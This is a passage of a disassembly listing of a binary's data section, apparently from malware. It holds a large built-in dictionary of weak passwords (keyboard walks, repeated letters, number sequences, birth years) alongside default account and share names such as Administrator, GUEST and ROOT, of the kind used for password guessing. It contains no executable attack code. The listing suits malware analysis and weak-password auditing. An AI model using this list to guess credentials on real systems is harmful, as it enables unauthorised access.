		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC_0		; "c"
		dd offset aCc_0		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_426CBC	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_0		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_426C2C	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_3		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword_0	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd 0
dword_426984	dd 10h							; seg000:0040A8A8r ...
a142536		db '142536',0           ; DATA XREF: seg002:00426908o
		align 10h
a753951		db '753951',0           ; DATA XREF: seg002:00426904o
		align 4
a951753		db '951753',0           ; DATA XREF: seg002:00426900o
		align 10h
a159357		db '159357',0           ; DATA XREF: seg002:004268FCo
		align 4
a753159		db '753159',0           ; DATA XREF: seg002:004268F8o
		align 10h
a13579		db '13579',0            ; DATA XREF: seg002:004268F4o
		align 4
a2684		db '2684',0             ; DATA XREF: seg002:004268F0o
		align 10h
a2486		db '2486',0             ; DATA XREF: seg002:004268ECo
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: seg002:004268E8o
		align 10h
aMnb		db 'mnb',0              ; DATA XREF: seg002:004268E4o
a112233		db '112233',0           ; DATA XREF: seg002:004268E0o
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: seg002:004268DCo
		align 4
a3edc		db '3edc',0             ; DATA XREF: seg002:004268D8o
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: seg002:004268D4o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: seg002:004268D0o
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: seg002:004268CCo
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: seg002:004268C8o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: seg002:004268C4o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: seg002:004268C0o
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: seg002:004268BCo
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: seg002:004268B8o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: seg002:004268B4o
		align 10h
aQqww		db 'qqww',0             ; DATA XREF: seg002:004268B0o
		align 4
aAass		db 'aass',0             ; DATA XREF: seg002:004268ACo
		align 10h
aZzxx		db 'zzxx',0             ; DATA XREF: seg002:004268A8o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: seg002:004268A4o
		align 10h
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: seg002:004268A0o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: seg002:0042689Co
		align 10h
aZzzz		db 'zzzz',0             ; DATA XREF: seg002:00426898o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: seg002:00426894o
aZz		db 'zz',0               ; DATA XREF: seg002:00426890o
		align 10h
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: seg002:00426888o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: seg002:00426884o
		align 10h
aQqqq		db 'qqqq',0             ; DATA XREF: seg002:00426880o
		align 4
aQqq		db 'qqq',0              ; DATA XREF: seg002:0042687Co
aQq		db 'qq',0               ; DATA XREF: seg002:00426878o
		align 10h
aQ:					; DATA XREF: seg002:00426874o
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: seg002:00426870o
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: seg002:0042686Co
		align 4
aWwww		db 'wwww',0             ; DATA XREF: seg002:00426868o
		align 4
aWww		db 'www',0              ; DATA XREF: seg002:00426864o
aWw		db 'ww',0               ; DATA XREF: seg002:00426860o
		align 4
aW:					; DATA XREF: seg002:0042685Co
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: seg002:00426858o
		align 10h
aVvvvv		db 'vvvvv',0            ; DATA XREF: seg002:00426854o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: seg002:00426850o
		align 10h
aVvv		db 'vvv',0              ; DATA XREF: seg000:0040C0FAo
					; seg002:0042684Co
aVv		db 'vv',0               ; DATA XREF: seg000:0040B61Ao
					; seg002:00426848o
		align 4
aV:					; DATA XREF: seg002:00426844o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: seg002:00426840o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: seg002:0042683Co
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: seg002:00426838o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: seg002:00426834o
aYy		db 'yy',0               ; DATA XREF: seg002:00426830o
		align 4
aY:					; DATA XREF: seg002:0042682Co
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: seg002:00426828o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: seg002:00426824o
		align 10h
aTttt		db 'tttt',0             ; DATA XREF: seg002:00426820o
		align 4
aTtt		db 'ttt',0              ; DATA XREF: seg002:0042681Co
aTt		db 'tt',0               ; DATA XREF: seg002:00426818o
		align 10h
aT:					; DATA XREF: seg002:00426814o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: seg002:00426810o
		align 4
aSssss		db 'sssss',0            ; DATA XREF: seg002:0042680Co
		align 4
aSsss		db 'ssss',0             ; DATA XREF: seg002:00426808o
		align 4
aSss		db 'sss',0              ; DATA XREF: seg002:00426804o
aSs		db 'ss',0               ; DATA XREF: seg002:00426800o
		align 4
aS_3:					; DATA XREF: seg002:004267FCo
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: seg002:004267F8o
		align 10h
aUuuuu		db 'uuuuu',0            ; DATA XREF: seg002:004267F4o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: seg002:004267F0o
		align 10h
aUuu		db 'uuu',0              ; DATA XREF: seg002:004267ECo
aUu		db 'uu',0               ; DATA XREF: seg002:004267E8o
		align 4
aU:					; DATA XREF: seg002:004267E4o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: seg002:004267E0o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: seg002:004267DCo
		align 4
aPppp		db 'pppp',0             ; DATA XREF: seg002:004267D8o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: seg002:004267D4o
aPp		db 'pp',0               ; DATA XREF: seg002:004267D0o
		align 4
aP:					; DATA XREF: seg002:004267CCo
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: seg002:004267C8o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: seg002:004267C4o
		align 10h
aOooo		db 'oooo',0             ; DATA XREF: seg002:004267C0o
		align 4
aOoo		db 'ooo',0              ; DATA XREF: seg002:004267BCo
aOo		db 'oo',0               ; DATA XREF: seg002:004267B8o
		align 10h
aO:					; DATA XREF: seg002:004267B4o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: seg002:004267B0o
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: seg002:004267ACo
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: seg002:004267A8o
		align 4
aNnn		db 'nnn',0              ; DATA XREF: seg002:004267A4o
aNn		db 'nn',0               ; DATA XREF: seg002:004267A0o
		align 4
aN:					; DATA XREF: seg002:0042679Co
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: seg002:00426798o
		align 10h
aMmmmm		db 'mmmmm',0            ; DATA XREF: seg002:00426794o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: seg002:00426790o
		align 10h
aMmm		db 'mmm',0              ; DATA XREF: seg002:0042678Co
aMm		db 'mm',0               ; DATA XREF: seg002:00426788o
		align 4
aM:					; DATA XREF: seg002:00426784o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: seg002:00426780o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: seg002:0042677Co
		align 4
aLlll		db 'llll',0             ; DATA XREF: seg002:00426778o
		align 4
aLll		db 'lll',0              ; DATA XREF: seg002:00426774o
aLl		db 'll',0               ; DATA XREF: seg002:00426770o
		align 4
asc_426C2C:				; DATA XREF: seg002:0042676Co
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: seg002:00426768o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: seg002:00426764o
		align 10h
aKkkk		db 'kkkk',0             ; DATA XREF: seg002:00426760o
		align 4
aKkk		db 'kkk',0              ; DATA XREF: seg002:0042675Co
aKk		db 'kk',0               ; DATA XREF: seg002:00426758o
		align 10h
aK:					; DATA XREF: seg002:00426754o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: seg002:00426750o
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: seg002:0042674Co
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: seg002:00426748o
		align 4
aJjj		db 'jjj',0              ; DATA XREF: seg002:00426744o
aJj		db 'jj',0               ; DATA XREF: seg002:00426740o
		align 4
aJ:					; DATA XREF: seg002:0042673Co
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: seg002:00426738o
		align 10h
aIiiii		db 'iiiii',0            ; DATA XREF: seg002:00426734o
		align 4
aIiii		db 'iiii',0             ; DATA XREF: seg002:00426730o
		align 10h
aIii		db 'iii',0              ; DATA XREF: seg002:0042672Co
aIi		db 'ii',0               ; DATA XREF: seg002:00426728o
		align 4
aI_0:					; DATA XREF: seg002:00426724o
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: seg002:00426720o
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: seg002:0042671Co
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: seg002:00426718o
		align 4
aHhh		db 'hhh',0              ; DATA XREF: seg002:00426714o
aHh		db 'hh',0               ; DATA XREF: seg002:00426710o
		align 4
asc_426CBC:				; DATA XREF: seg002:0042670Co
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: seg002:00426708o
		align 4
aGgggg		db 'ggggg',0            ; DATA XREF: seg002:00426704o
		align 10h
aGggg		db 'gggg',0             ; DATA XREF: seg002:00426700o
		align 4
aGgg		db 'ggg',0              ; DATA XREF: seg002:004266FCo
aGg		db 'gg',0               ; DATA XREF: seg002:004266F8o
		align 10h
aG:					; DATA XREF: seg002:004266F4o
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: seg002:004266F0o
		align 4
aEeeee		db 'eeeee',0            ; DATA XREF: seg002:004266ECo
		align 4
aEeee		db 'eeee',0             ; DATA XREF: seg002:004266E8o
		align 4
aEee		db 'eee',0              ; DATA XREF: seg002:004266E4o
aEe		db 'ee',0               ; DATA XREF: seg002:004266E0o
		align 4
aE:					; DATA XREF: seg002:004266DCo
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: seg002:004266D8o
		align 10h
aFfff		db 'ffff',0             ; DATA XREF: seg002:004266D4o
		align 4
aFff		db 'fff',0              ; DATA XREF: seg002:004266D0o
aFf		db 'ff',0               ; DATA XREF: seg002:004266CCo
		align 10h
aF:					; DATA XREF: seg002:004266C8o
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: seg002:004266C4o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: seg002:004266C0o
		align 4
aDdd		db 'ddd',0              ; DATA XREF: seg002:004266BCo
aDd		db 'dd',0               ; DATA XREF: seg002:004266B8o
		align 4
aD:					; DATA XREF: seg002:004266B4o
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: seg002:004266B0o
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: seg002:004266ACo
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: seg002:004266A8o
aCccccc		db 'cccccc',0           ; DATA XREF: seg002:004266A4o
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: seg002:004266A0o
		align 10h
aCccc_0		db 'cccc',0             ; DATA XREF: seg002:0042669Co
		align 4
aCcc		db 'ccc',0              ; DATA XREF: seg002:00426698o
aCc_0		db 'cc',0               ; DATA XREF: seg002:00426694o
		align 10h
aC_0:					; DATA XREF: seg002:00426690o
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: seg002:0042668Co
		align 10h
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: seg002:00426688o
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: seg002:00426684o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: seg002:00426680o
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: seg002:0042667Co
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: seg002:00426678o
		align 4
aBbb		db 'bbb',0              ; DATA XREF: seg002:00426674o
aBb		db 'bb',0               ; DATA XREF: seg002:00426670o
		align 4
aB:					; DATA XREF: seg002:0042666Co
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: seg002:00426668o
aEdc		db 'edc',0              ; DATA XREF: seg002:00426664o
aWsx		db 'wsx',0              ; DATA XREF: seg002:00426660o
aQaz		db 'qaz',0              ; DATA XREF: seg002:0042665Co
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: seg002:00426658o
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: seg002:00426654o
		align 10h
aAsdfghj	db 'asdfghj',0          ; DATA XREF: seg002:00426650o
aAsdfgh		db 'asdfgh',0           ; DATA XREF: seg002:0042664Co
		align 10h
aAsdfg		db 'asdfg',0            ; DATA XREF: seg002:00426648o
		align 4
aAs		db 'as',0               ; DATA XREF: seg002:0042663Co
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: seg002:00426638o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: seg002:00426634o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: seg002:00426630o
		align 4
aZxc		db 'zxc',0              ; DATA XREF: seg002:00426628o
aZx		db 'zx',0               ; DATA XREF: seg002:00426624o
		align 4
aZ:					; DATA XREF: seg002:00426620o
					; seg002:0042688Co
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: seg002:0042661Co
aToyota_0	db 'TOYOTA',0           ; DATA XREF: seg002:004265E4o
		align 10h
aKor		db 'KOR',0              ; DATA XREF: seg002:004265E0o
aKor_0		db 'kor',0              ; DATA XREF: seg002:004265D8o
aChi		db 'chi',0              ; DATA XREF: seg002:004265D4o
aChi_0		db 'CHI',0              ; DATA XREF: seg002:004265D0o
aSystem		db 'system',0           ; DATA XREF: seg002:004265C8o
					; seg002:0042690Co
		align 4
aServices	db 'services',0         ; DATA XREF: seg002:004265C4o
		align 4
aServers	db 'servers',0          ; DATA XREF: seg002:004265C0o
aServer_0	db 'server',0           ; DATA XREF: seg002:004265B8o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: seg002:004265B0o
		align 10h
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: seg002:004265ACo
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: seg002:004265A8o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: seg002:004265A4o
aQwe		db 'qwe',0              ; DATA XREF: seg002:00426594o
aQw		db 'qw',0               ; DATA XREF: seg002:00426590o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: seg002:0042658Co
		align 4
aPassword_1	db 'Password',0         ; DATA XREF: seg002:00426588o
		align 10h
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: seg002:00426584o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: seg002:00426580o
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: seg002:0042657Co
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: seg002:00426578o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: seg002:00426574o
		align 10h
aAaaa		db 'aaaa',0             ; DATA XREF: seg002:00426570o
		align 4
aAa		db 'aa',0               ; DATA XREF: seg002:00426568o
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: seg002:0042655Co
		align 4
aSex		db 'SEX',0              ; DATA XREF: seg002:00426558o
aCreative	db 'CREATIVE',0         ; DATA XREF: seg002:00426554o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: seg002:00426550o
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: seg002:0042654Co
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: seg002:00426548o
		align 10h
aSony_0		db 'SONY',0             ; DATA XREF: seg002:00426544o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: seg002:00426540o
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: seg002:0042653Co
aSony		db 'sony',0             ; DATA XREF: seg002:00426538o
		align 10h
a7654321	db '7654321',0          ; DATA XREF: seg002:00426534o
a4321		db '4321',0             ; DATA XREF: seg002:00426528o
		align 10h
a321		db '321',0              ; DATA XREF: seg002:00426524o
a2006		db '2006',0             ; DATA XREF: seg002:0042651Co
		align 4
a2005		db '2005',0             ; DATA XREF: seg002:00426518o
		align 4
a2004		db '2004',0             ; DATA XREF: seg002:00426514o
		align 4
a2001		db '2001',0             ; DATA XREF: seg002:00426508o
		align 4
a2000		db '2000',0             ; DATA XREF: seg002:00426504o
		align 4
a1999		db '1999',0             ; DATA XREF: seg002:00426500o
		align 4
a1998		db '1998',0             ; DATA XREF: seg002:004264FCo
		align 4
a1997		db '1997',0             ; DATA XREF: seg002:004264F8o
		align 4
a1996		db '1996',0             ; DATA XREF: seg002:004264F4o
		align 4
a1995		db '1995',0             ; DATA XREF: seg002:004264F0o
		align 4
a1994		db '1994',0             ; DATA XREF: seg002:004264ECo
		align 4
a1993		db '1993',0             ; DATA XREF: seg002:004264E8o
		align 4
a1992		db '1992',0             ; DATA XREF: seg002:004264E4o
		align 4
a1991		db '1991',0             ; DATA XREF: seg002:004264E0o
		align 4
a1990		db '1990',0             ; DATA XREF: seg002:004264DCo
		align 4
a1989		db '1989',0             ; DATA XREF: seg002:004264D8o
		align 4
a1988		db '1988',0             ; DATA XREF: seg002:004264D4o
		align 4
a1987		db '1987',0             ; DATA XREF: seg002:004264D0o
		align 4
a1986		db '1986',0             ; DATA XREF: seg002:004264CCo
		align 4
a1985		db '1985',0             ; DATA XREF: seg002:004264C8o
		align 4
a1984		db '1984',0             ; DATA XREF: seg002:004264C4o
		align 4
a1983		db '1983',0             ; DATA XREF: seg002:004264C0o
		align 4
a1982		db '1982',0             ; DATA XREF: seg002:004264BCo
		align 4
a1981		db '1981',0             ; DATA XREF: seg002:004264B8o
		align 4
a1980		db '1980',0             ; DATA XREF: seg002:004264B4o
		align 4
a1979		db '1979',0             ; DATA XREF: seg002:004264B0o
		align 4
a1978		db '1978',0             ; DATA XREF: seg002:004264ACo
		align 4
a1977		db '1977',0             ; DATA XREF: seg002:004264A8o
		align 4
a1976		db '1976',0             ; DATA XREF: seg002:004264A4o
		align 4
a1975		db '1975',0             ; DATA XREF: seg002:004264A0o
		align 4
a1974		db '1974',0             ; DATA XREF: seg002:0042649Co
		align 4
a1973		db '1973',0             ; DATA XREF: seg002:00426498o
		align 4
a1972		db '1972',0             ; DATA XREF: seg002:00426494o
		align 4
a1971		db '1971',0             ; DATA XREF: seg002:00426490o
		align 4
a1970		db '1970',0             ; DATA XREF: seg002:0042648Co
		align 4
a1969		db '1969',0             ; DATA XREF: seg002:00426488o
		align 4
a1968		db '1968',0             ; DATA XREF: seg002:00426484o
		align 4
a1967		db '1967',0             ; DATA XREF: seg002:00426480o
		align 4
a1966		db '1966',0             ; DATA XREF: seg002:0042647Co
		align 4
a1965		db '1965',0             ; DATA XREF: seg002:00426478o
		align 4
a1964		db '1964',0             ; DATA XREF: seg002:00426474o
		align 4
a1963		db '1963',0             ; DATA XREF: seg002:00426470o
		align 4
a1962		db '1962',0             ; DATA XREF: seg002:0042646Co
		align 4
a1961		db '1961',0             ; DATA XREF: seg002:00426468o
		align 4
a1960		db '1960',0             ; DATA XREF: seg002:00426464o
		align 4
a1959		db '1959',0             ; DATA XREF: seg002:00426460o
		align 4
a1958		db '1958',0             ; DATA XREF: seg002:0042645Co
		align 4
a1957		db '1957',0             ; DATA XREF: seg002:00426458o
		align 4
a1956		db '1956',0             ; DATA XREF: seg002:00426454o
		align 4
a1955		db '1955',0             ; DATA XREF: seg002:00426450o
		align 4
a1954		db '1954',0             ; DATA XREF: seg002:0042644Co
		align 4
a1953		db '1953',0             ; DATA XREF: seg002:00426448o
		align 4
a1952		db '1952',0             ; DATA XREF: seg002:00426444o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: seg002:00426440o
a1234asd	db '1234asd',0          ; DATA XREF: seg002:0042643Co
a1234abc	db '1234abc',0          ; DATA XREF: seg002:00426438o
a123qwer	db '123qwer',0          ; DATA XREF: seg002:00426424o
a12qwe		db '12qwe',0            ; DATA XREF: seg002:00426420o
		align 4
a12asd		db '12asd',0            ; DATA XREF: seg002:0042641Co
		align 4
a12abc		db '12abc',0            ; DATA XREF: seg002:00426418o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: seg002:00426414o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: seg002:00426410o
		align 4
a1asd		db '1asd',0             ; DATA XREF: seg002:0042640Co
		align 4
a1abc		db '1abc',0             ; DATA XREF: seg002:00426408o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: seg002:00426404o
		align 4
a123467890	db '123467890',0        ; DATA XREF: seg002:00426400o
		align 4
a12346789	db '12346789',0         ; DATA XREF: seg002:004263FCo
		align 4
a1234678	db '1234678',0          ; DATA XREF: seg002:004263F8o
a123467		db '123467',0           ; DATA XREF: seg002:004263F4o
		align 4
a12346		db '12346',0            ; DATA XREF: seg002:004263F0o
		align 4
a121		db '121',0              ; DATA XREF: seg002:004263C8o
a1020		db '1020',0             ; DATA XREF: seg002:004263C0o
		align 4
a0258		db '0258',0             ; DATA XREF: seg002:004263BCo
		align 10h
a8520		db '8520',0             ; DATA XREF: seg002:004263B8o
		align 4
a987		db '987',0              ; DATA XREF: seg002:004263B4o
a789		db '789',0              ; DATA XREF: seg002:004263B0o
a654		db '654',0              ; DATA XREF: seg002:004263ACo
a456		db '456',0              ; DATA XREF: seg002:004263A8o
a1122		db '1122',0             ; DATA XREF: seg002:004263A4o
		align 10h
a0147		db '0147',0             ; DATA XREF: seg002:004263A0o
		align 4
a7410		db '7410',0             ; DATA XREF: seg002:0042639Co
		align 10h
a9999999999	db '9999999999',0       ; DATA XREF: seg002:00426394o
		align 4
a999999999	db '999999999',0        ; DATA XREF: seg002:00426390o
